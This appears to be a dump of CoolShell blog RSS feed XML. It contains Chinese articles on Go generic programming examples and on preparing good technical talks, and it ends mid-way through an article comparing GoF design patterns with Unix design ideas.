struct {\n  Name     string\n  Age      int\n  Vacation int\n  Salary   float32\n}\n\nvar employees = []Employee{\n  {\"Hao\", 44, 0, 8000.5},\n  {\"Bob\", 34, 10, 5000.5},\n  {\"Alice\", 23, 5, 9000.0},\n  {\"Jack\", 26, 0, 4000.0},\n  {\"Tom\", 48, 9, 7500.75},\n  {\"Marry\", 29, 0, 6000.0},\n  {\"Mike\", 32, 8, 4000.3},\n}</pre>\n<p>然后，我们想统一下所有员工的薪水，我们就可以使用前面的reduce函数</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">total_pay := gReduce(employees, 0.0, func(result float32, e Employee) float32 {\n  return result + e.Salary\n})\nfmt.Printf(\"Total Salary: %0.2f\\n\", total_pay) // Total Salary: 43502.05</pre>\n<p>我们函数这个 <code>gReduce</code> 函数有点啰嗦，还需要传一个初始值，在用户自己的函数中，还要关心 <code>result</code> 我们还是来定义一个更好的版本。</p>\n<p>一般来说，我们用 reduce 函数大多时候基本上是统计求和或是数个数，所以，是不是我们可以定义的更为直接一些？比如下面的这个 <code>CountIf()</code>，就比上面的 Reduce 干净了很多。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func gCountIf[T any](arr []T, f func(T) bool) int {\n  cnt := 0\n  for _, elem := range arr {\n    if f(elem) {\n      cnt += 1\n    }\n  }\n  return cnt;\n}</pre>\n<p>我们做求和，我们也可以写一个Sum的泛型。</p>\n<ul>\n<li>处理 <code>T</code> 类型的数据，返回 <code>U</code>类型的结果</li>\n<li>然后，用户只需要给我一个需要统计的 <code>T</code> 的 <code>U</code> 类型的数据就可以了。</li>\n</ul>\n<p>代码如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type Sumable interface {\n  type int, int8, int16, int32, int64,\n        uint, uint8, uint16, uint32, uint64,\n        float32, float64\n}\n\nfunc gSum[T any, U Sumable](arr []T, f func(T) U) U {\n  var sum U\n  for _, elem := range arr {\n    sum += f(elem)\n  }\n  return sum\n}</pre>\n<p>上面的代码我们动用了一个叫 Sumable 的接口，其限定了 U 类型，只能是 Sumable里的那些类型，也就是整型或浮点型，这个支持可以让我们的泛型代码更健壮一些。</p>\n<p>于是，我们就可以完成下面的事了。</p>\n<p><strong>1）统计年龄大于40岁的员工数</strong></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">old := gCountIf(employees, func (e Employee) bool  {\n    return e.Age &gt; 40\n})\nfmt.Printf(\"old people(&gt;40): %d\\n\", old) \n// ld people(&gt;40): 2</pre>\n<p><strong>2）统计薪水超过 6000元的员工数</strong></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">high_pay := gCountIf(employees, func(e Employee) bool {\n  return e.Salary &gt;= 6000\n})\nfmt.Printf(\"High Salary people(&gt;6k): %d\\n\", high_pay) \n//High Salary people(&gt;6k): 4</pre>\n<p><strong>3）统计年龄小于30岁的员工的薪水</strong></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">younger_pay := gSum(employees, func(e Employee) float32 {\n  if e.Age &lt; 30 {\n      return e.Salary\n  } \n  return 0\n})\nfmt.Printf(\"Total Salary of Young People: %0.2f\\n\", younger_pay)\n//Total Salary of Young People: 19000.00</pre>\n<p><strong>4）统计全员的休假天数</strong></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">total_vacation := gSum(employees, func(e Employee) int {\n  return e.Vacation\n})\nfmt.Printf(\"Total Vacation: %d day(s)\\n\", total_vacation)\n//Total Vacation: 32 day(s)</pre>\n<p><strong>5）把没有休假的员工过滤出来</strong></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">no_vacation := gFilterIn(employees, func(e Employee) bool {\n  return e.Vacation == 0\n})\nprint(no_vacation)\n//{Hao 44 0 8000.5} {Jack 26 0 4000} {Marry 29 0 6000}</pre>\n<p>怎么样，你大概了解了泛型编程的意义了吧。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" alt=\"Go编程模式：Map-Reduce\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_title\">Go编程模式：Map-Reduce</a></li><li ><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-150x150.png\" alt=\"Go 编程模式：k8s Visitor 模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_title\">Go 编程模式：k8s Visitor 模式</a></li><li ><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-150x150.png\" alt=\"Go编程模式：Pipeline\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_title\">Go编程模式：Pipeline</a></li><li ><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-150x150.png\" alt=\"Go编程模式：委托和反转控制\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_title\">Go编程模式：委托和反转控制</a></li><li ><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.generate-150x150.png\" alt=\"Go 编程模式：Go Generation\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_title\">Go 编程模式：Go Generation</a></li><li ><a href=\"https://coolshell.cn/articles/21146.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.options-150x150.png\" alt=\"Go 编程模式：Functional Options\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21146.html\" class=\"wp_rp_title\">Go 编程模式：Functional Options</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/21615.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>14</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何做一个有质量的技术分享</title>\n\t\t<link>https://coolshell.cn/articles/21589.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/21589.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 13 Jul 2021 05:00:46 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Knowledge Sharing]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=21589</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>分享信息并不难，大多数人都能做到，就算是不善言谈性格内向的技术人员，通过博客或社交媒体，或是不正式的交流，他们都能或多或少的做到。但是如果你想要做一个有质量有高...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/21589.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169.jpeg\" alt=\"\" width=\"300\" height=\"169\" />分享信息并不难，大多数人都能做到，就算是不善言谈性格内向的技术人员，通过博客或社交媒体，或是不正式的交流，他们都能或多或少的做到。但是如果你想要做一个有质量有高度的分享，这个就难了，所谓的有质量和有高度，我心里面的定义有两点：1）分享内容的保鲜期是很长的，2）会被大范围的传递。我们团队内每周都在做技术分享，虽然分享的主题都很有价值，但是分享的质量参差不齐，所以，想写下这篇文章 。供大家参考。</p>\n<p>首先，我们先扪心自问一下，我们自己觉得读到的好的技术文章是什么？我不知道大家的是什么，我个人认为的好的文章是下面这样的：</p>\n<ul>\n<li><strong>把复杂的问题讲解的很简单也很清楚</strong>。比如我高中时期读到这本1978年出版的《<a href=\"https://book.douban.com/subject/1441922/\" target=\"_blank\" rel=\"noopener\">从一到无穷大</a>》，用各种简单通俗通懂的话把各种复杂的科学知识讲的清清楚楚。还有看过的几本很好的书，有一本是《<a href=\"https://book.douban.com/subject/5273955/\" target=\"_blank\" rel=\"noopener\">Windows程序设计</a>》，从一个hello world的程序开始一步一步教你Windows下的原生态编程。</li>\n<li><strong>有各种各样的推导和方案的比较，让你知其然知其所以然</strong>。有了不同方案的比较，才可能让人有全面的认识。这个方面的经典作著是《<a href=\"https://book.douban.com/subject/5387403/\" target=\"_blank\" rel=\"noopener\">Effective C++</a>》。</li>\n<li><strong>原理、为什么、思路、方法论会让人一通百通</strong>。这里面最经典的恐怕就是《<a href=\"https://book.douban.com/subject/5387403/\" target=\"_blank\" rel=\"noopener\">十万个为什么</a>》了，在计算机方面也有几本经典书，有《<a href=\"https://book.douban.com/subject/1467587/\" target=\"_blank\" rel=\"noopener\">Unix编程艺术</a>》、《<a href=\"https://book.douban.com/subject/1052241/\" target=\"_blank\" rel=\"noopener\">设计模式</a>》、《<a href=\"https://book.douban.com/subject/1230413/\" target=\"_blank\" rel=\"noopener\">深入理解计算机系统</a>》等书，以及《<a href=\"http://www.kegel.com/c10k.html\" target=\"_blank\" rel=\"noopener\">The C10K Problem</a>》等很多技术论文。</li>\n</ul>\n<p>其实，从教科书，到专业书，再到论文，都有上面这些不错的特质。<span id=\"more-21589\"></span></p>\n<p>所以，如果你想做一个好的技术分享的话，下面是我总结出来的方法，供你参考。</p>\n<ul>\n<li><strong>先描述好一个问题</strong>。这样能够听众带入进来，如果这个问题是他们感同身受的，那是最好了。千万不要一上来就说What，或是直接冲进答案里。这样的分享是在灌输和填鸭。把Why说清楚。没有Why，直接谈What的技术分享，通常来说价值不大。</li>\n<li><strong>How比What重要</strong>。在讲How的时候，也就是如何解这个问题。\n<ul>\n<li>先要把问题模型说清楚，有了问题模型这个框框后，方案才有意义。</li>\n<li>然后要有不同技术的比较。有了比较后，听众才会更相信你。</li>\n<li>直接上What的技术细节，其实没有太大意义。</li>\n</ul>\n</li>\n<li><strong>一定要有Best Practice或方法论总结</strong>，否则上不了档次的。也就是分享中大家可以得到的重要收获。</li>\n</ul>\n<p>说明了这个模型就是：<strong>问题 &#8211;&gt; 方案 &#8211;&gt; 总结。这其中是有一定的心理学模型的，具体表现如下：</strong></p>\n<ul>\n<li>用问题来吸引受众，带着受众来一起思考</li>\n<li>用问题模型来框住受众的思考范围，让受众聚焦</li>\n<li>给出几种不同的解决方案，比较他们的优缺点，让受众有一种解决问题的参与感。</li>\n<li>最后，给出最佳实践，方法论或套路，因为有了前三步的铺垫，受众欣然接受。</li>\n<li>整个过程会让受众有强烈的成长感和收获感。</li>\n</ul>\n<p>这里有几个示例，也是我在我司 MegaEase 内部的技术分享，供你参考（<a href=\"https://www.youtube.com/user/chenhaox/videhttps://www.youtube.com/channel/UCJhxX8SXcYdNWc6QMbWKs7Aos\" target=\"_blank\" rel=\"noopener\">我个人的YouTube频道</a>）</p>\n<p>技术分享：<a href=\"https://youtu.be/qB40kqhTyYM\" target=\"_blank\" rel=\"noopener\">Prometheus是怎么存储数据的</a>（Youtube）</p>\n<p><iframe loading=\"lazy\" title=\"技术分享：Prometheus是怎么存储数据的（陈皓）\" width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/qB40kqhTyYM?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe></p>\n<p>技术分享：<a href=\"https://www.youtube.com/watch?v=VnbC5RG1fEo\" target=\"_blank\" rel=\"noopener\">Distributed Lock Manager</a>（Youtube）</p>\n<p><iframe loading=\"lazy\" title=\"技术分享：Distributed Lock Manager（陈皓）\" width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/VnbC5RG1fEo?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe></p>\n<p>下面是我写在我们公司内的Knowledge Sharing中的Best Practice，供参考</p>\n<h2>Sharing Guideline</h2>\n<p>Please follow the following sharing protocols</p>\n<h3><a id=\"user-content-understand-sharing\" class=\"anchor\" href=\"https://github.com/megaease/team/tree/master/sharing#understand-sharing\" aria-hidden=\"true\"></a>Understand Sharing</h3>\n<ul>\n<li>Sharing is the hard way to learn knowledge. The presenter gains the biggest advantages. not audience. 分享是学习知识的最难的方式。分享者获得的好处最最多的，而不是观众。</li>\n<li>Sharing can open the knowledge door for the audience, but you have to walk to knowledge by yourself. 分享可以为听众打开知识的大门，但你能不能获得知识还要靠你自己。</li>\n</ul>\n<h3><a id=\"user-content-best-practices\" class=\"anchor\" href=\"https://github.com/megaease/team/tree/master/sharing#best-practices\" aria-hidden=\"true\"></a>Best Practices</h3>\n<p>To perform a great sharing, please follow the below practices.</p>\n<ul>\n<li>Do not share a big topic, a small topic is better. A big topic could make the audience lose focus. Remember, <a href=\"https://en.wikipedia.org/wiki/Minimalism#Minimalist_design_and_architecture\" rel=\"nofollow\">Less is More!</a></li>\n<li>Sharing time less than 60 mins is the best.</li>\n<li>English language for slides is preferred.</li>\n<li>While prepare the sharing contents, it&#8217;s better to discuss with the senior people to help you to see the whole picture, understand the good side and bad side, know what you don&#8217;t know &#8230; etc.</li>\n<li>Strong Recommend Materials Outlines\n<ul>\n<li>What&#8217;s the Problem?</li>\n<li>How to Solve the Problem?</li>\n<li>The Best Solution or Practice.</li>\n<li>The Mechanism, Key Techniques, and Source Code</li>\n<li>Pros/Cons</li>\n<li>References (Further reading)</li>\n</ul>\n</li>\n</ul>\n<blockquote><p>For example, if you want to sharing a topic about Docker. the following outlines would be good one:</p>\n<ul>\n<li>What&#8217;s the major problems need to solve. (Provision, Environment, Isolation etc.)</li>\n<li>The Alternative solutions. (Puppet/Chef/Ansible, VM, LXC etc.)</li>\n<li>The Best Solution &#8211; Docker. Why?</li>\n<li>Docker&#8217;s key techniques &#8211; image, cgroup, union fs, namespace&#8230;</li>\n<li>Docker&#8217;s Pros/Cons</li>\n<li>Further reading list.</li>\n</ul>\n</blockquote>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full\" src=\"https://coolshell.cn/wp-content/uploads/2021/07/截屏2021-07-13-12.53.33.png\" alt=\"\" width=\"573\" height=\"173\" /></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li><li ><a href=\"https://coolshell.cn/articles/20276.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/12/open-your-creative-mind-150x150.jpg\" alt=\"别让自己“墙”了自己\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20276.html\" class=\"wp_rp_title\">别让自己“墙”了自己</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/21589.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>28</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-10.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 10 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=10\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Mon, 06 Jul 2020 10:00:52 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>从面向对象的设计模式看软件设计</title>\n\t\t<link>https://coolshell.cn/articles/8961.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8961.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 01 Feb 2013 00:15:59 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[design pattern]]></category>\n\t\t<category><![CDATA[Object-Oriented]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8961</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>前些天发了一篇《如此理解面向对象编程》的文章，然后引起了大家的热议。然后我在微博上说了一句——“那23个经典的设计模式和OO半毛钱关系没有，只不过人家用OO来实...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8961.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8961.html\">从面向对象的设计模式看软件设计</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>前些天发了一篇《<a title=\"如此理解面向对象编程\" href=\"https://coolshell.cn/articles/8745.html\" target=\"_blank\" rel=\"bookmark\">如此理解面向对象编程</a>》的文章，然后引起了大家的热议。然后我在<a href=\"http://weibo.com/1401880315/z9wWHrrVR\" target=\"_blank\">微博上说</a>了一句——“<strong>那23个经典的设计模式和OO半毛钱关系没有，只不过人家用OO来实现罢了……OO的设计模式思想和Unix的设计思想基本没什么差别</strong>”，结果引来了一点点争议。所以，我写下这篇文章把我的观点说明一下。我希望这样可以让大家更容易地理解什么是设计模式。<strong>我顺便帮OO和 Unix/Linux搞搞基</strong>。</p>\n<h4>什么是模式</h4>\n<p>在正式说明GoF的那23个经典的设计模式其实和OO关系不大并和Unix的设计思想很相似的这个观点之前，让我先来说说什么是模式？设计模式的英文是Design Pattern，模式是Pattern的汉译。所谓Pattern就是一种规则，或是一种模型，或是一种习惯。Pattern这个东西到处都是，并不只有技术圏子里才有。比如：</p>\n<ul>\n<li>文章有文章的Pattern。如新闻有新闻的Pattern（第一段话简述了整个新闻），诗歌总是抒情的，论文总是死板的，讲稿总是高谈的，漫画总是幽默的，……</li>\n<li><span style=\"line-height: 13px;\">小说有小说的Pattern。比如，</span>\n<ul>\n<li><span style=\"line-height: 13px;\">武侠小说必然要整个武林大会，整几个NB的武功和大师，分个正派和反派，还有一个或数个惊天阴谋，坏人总是要在一开始占尽优势，好人总是要力挽狂澜……</span></li>\n<li><span style=\"line-height: 13px;\">言情小说总是要有第三者，总是要有负心人，里面的女子总是要哭得死去活来，但又痴心不改，……</span></li>\n</ul>\n</li>\n<li> 新闻联播的模式是：头10分钟领导很忙，中间10分钟人民很幸福，后10分钟国外很乱。中国政府官方宣传稿也模式也很明显，各种赞美，口号，胜利，总是要坚持个什么，团结个什么，迈向个什么，某某精神，某某思想，群众情绪稳定，不明真相，等等……</li>\n<li>春节的模式是，回家，吃饺子，放个鞭炮，给压岁钱，同学聚会…… 同学聚会的模式基本上都是在饭桌上回忆一下校园时光，比较一下各自的当前处境，调戏一下女同学……</li>\n<li>…… ……</li>\n</ul>\n<p>这就是Pattern，只要你细心观察，你会发现这世间有很多很多的Pattern。</p>\n<p><span id=\"more-8961\"></span></p>\n<h4>GoF的23个设计模式</h4>\n<p>《<a href=\"http://product.china-pub.com/25961\" target=\"_blank\">设计模式</a>》这本书中，GoF这四个人总结了23个经典的面向对象的设计模式，某中有5个创建模式，7个结构模式，11个行为模式。<strong>很多人都会觉得这是面向对象的设计模式，很多人也觉得非面向对象不能用这些模式。我觉得这是一种教条主义。</strong>就像《<a title=\"各种流行的编程风格\" href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\">那些流行的编程方法</a>》中的“设计模式驱动型编程”一样，就像《<a title=\"如此理解面向对象编程\" href=\"https://coolshell.cn/articles/8745.html\" target=\"_blank\">如此理解面向对象</a>》一样的那么的滑稽。</p>\n<p>好了，回到我的论点——“<strong>GoF的这23个设计模式和OO关系不大，并且和Unix的设计思想基本一致，只不过GoF用OO实现了它们</strong>”，就像我上面说过的那些生活中的Pattern一样，只要你仔细思考，你会发现这23个设计模式在我们的生活和社会中也能有他们的身影。而且也一样可以用OO的方式实现之。</p>\n<p>让我们来看看这23个经典的设计模式中的几个常用的模式：</p>\n<p><strong>Factory 模式</strong>，这个模式可能是是个人都知道的模式。这个模式在现实社会中就像各种工厂一样，工厂跨界的不多，基本上都是在生产同一类的产品，有的生产汽车，有的生产电视，有的生产衣服，有的生产卫生纸……基本上来说，一个生产线上只有做同一类的东西。这和Factory模式很相似。编程中，像内存池，线程池，连接池等池化技术都是这个模式，当然，Factory给你的一个对象，而不单单只是资源，factory创建出来的对象都有同样的接口可以被多态调用。<strong>这其实和Unix把所有的硬件都factory成文件一样，并提供了read/write等文件操作来让你操作任意设备的I/O</strong>。</p>\n<p><strong>Abstract Factor</strong>y：抽象工厂这个模式是创建一组有同一主题的不同的类。这个模式在现实社会当中也有很多例子，比如：</p>\n<ul>\n<li>移动公司的合约机计划，88套餐（通话100分钟，短信100条，彩信，20条，上网200M），128套餐（通话200分钟，短信150条，彩信50条，上网500M）……</li>\n</ul>\n<ul>\n<li>家里的装修，总是要有厨卫，有门，有灯，有沙发，有茶几，有床，有衣柜，有电视，有冰箱，有洗衣机……，这些都是必需的，只是每个家庭里的具体装修不一样。</li>\n</ul>\n<ul>\n<li>Diablo游戏中的Normal，Hard，Nightmare，Hell模式，这些模式的怪和场景和故事情况都差不多，就是每个场景的怪物和装备的属性不一样。或是WarCraft中的地图就是一个Abstract Factory模式(注：Warcraft的地图什么都能干)。这和学校中的小学，初中，高中，大学差不多，都是一样的学习环境，一样的教学方式，一样的教室，都要期中考和期末考，都有班长和科代表，就是学的东西的难度不一样，但基本上都是语文，英语，数，理，化，还有永远都有的政治课。学校就是一个抽象工厂。</li>\n</ul>\n<p>这就是抽象工厂的业务模型（或是：Business Pattern），你觉得是不是不一定非要用OO来实现这样的模式？（我们思考一下，我们会不会被先入为主了，觉得不会OO都不知道怎么实现了），不用OO，用相同格式但内容不同的配置文件是不是也能实现？在Unix下<strong>，抽象工厂这个模式在Unix下就像是/etc/rcX.d下的那些东西，1代表命令行单用户，2，代表命令行多用户，3代表命令行多用户完整模式启动，5代表图形界面启动，0代表关机，6代表重启，你要切换的话，init &lt;X&gt;就行了</strong>。</p>\n<p><strong>Prototype模式</strong>，原型模式，复制一个类的实现。这个模式在现实中的例子也有很多：传真，复印，都是这个模式。<strong>Unix进程和Github项目的Fork就是一种。进程fork明显不是OO的模型</strong>（参看：<a title=\"一个fork的面试题\" href=\"https://coolshell.cn/articles/7965.html\" target=\"_blank\">关于Fork的一道面试题</a>）。用非OO的方法同样可以实现这个模式。</p>\n<p><strong>Singleton模式</strong>，单例模式。生活中，公司只有一个CEO，法律限制你只能有一个老婆，你只能有一个身份证号，一个TCP端口只能被一个进程使用，等等。软件开发方面，并不一定只有OO才能做到，你可以用一个全局变量，一个中心服务器，甚至可以使用行政手段来约束开发中不会出现多个实例。<strong>Unix下实现单例进程的一个最常用的实践是在进程启动的时候用“(S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH)”模式打开一个“锁文件”</strong>。</p>\n<p><strong>Adapter模式</strong>，适配器模式。可以兼容欧洲美国中国的插头或插座，万能读卡器，可以播放各种格式多媒体文件的插放器，可以解析FTP/HTTP/HTTPS/等网络协议的浏览器，可以兼容各大银行的银联接口、支付宝、Paypal、VISA等银行接口，可以适配各种后端的解释器的Nginx或Apache，等等。用非OO的编程方式就是重新包装成一个标准接口。<strong>这个模式很像Unix下的/dev下的那些文件，操作系统把系统设备适配成文件，于是你就可以使用read/write来进行读写了</strong>。</p>\n<p><strong>Bridge模式</strong>，桥接模式。这个模式用的更多，比如一个灯具可以接各种灯泡或灯管，一个电钻可以换上不同的钻头来适应不同的材料，一辆汽车可以随时更换不同的轮胎来适应不同的路面，你的桌面可以随时更换一个图片来适应你的心情，你的单反相机可以更换不同的镜头来拍不同的照片…… 